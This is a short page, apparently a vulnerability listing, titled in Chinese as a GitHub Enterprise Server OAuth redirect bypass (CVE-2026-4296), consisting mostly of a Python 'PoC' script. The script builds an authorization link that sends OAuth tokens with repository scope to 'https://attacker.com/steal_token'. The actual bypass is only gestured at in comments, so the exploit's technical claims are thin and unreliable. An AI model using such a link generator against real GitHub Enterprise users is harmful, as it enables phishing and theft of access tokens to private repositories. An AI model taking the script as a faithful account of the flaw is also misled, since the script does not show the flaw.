CVE-2026-4296 GitHub Enterprise Server OAuth重定向绕过漏洞

# PoC for CVE-2026-4296: OAuth Redirect URI Bypass # This script demonstrates the conceptual generation of a malicious link. import urllib.parse def generate_malicious_link(target_host, client_id, malicious_domain): # Base endpoint for authorization auth_endpoint = f"{target_host}/login/oauth/authorize" # The vulnerability allows bypassing the regex check for redirect_uri. # An attacker crafts a URI that looks valid to the regex but points to them. # Example: Exploiting regex anchoring issues or character class misinterpretation. bypass_redirect_uri = f"{malicious_domain}/steal_token" params = { "client_id": client_id, "redirect_uri": bypass_redirect_uri, "scope": "read:user,repo", "state": "random_security_token" } return f"{auth_endpoint}?{urllib.parse.urlencode(params)}" # Usage Example # target = "https://github.enterprise.local" # client = "d81c8b3c9e1f2a3b" # evil = "https://attacker.com" # print(generate_malicious_link(target, client, evil))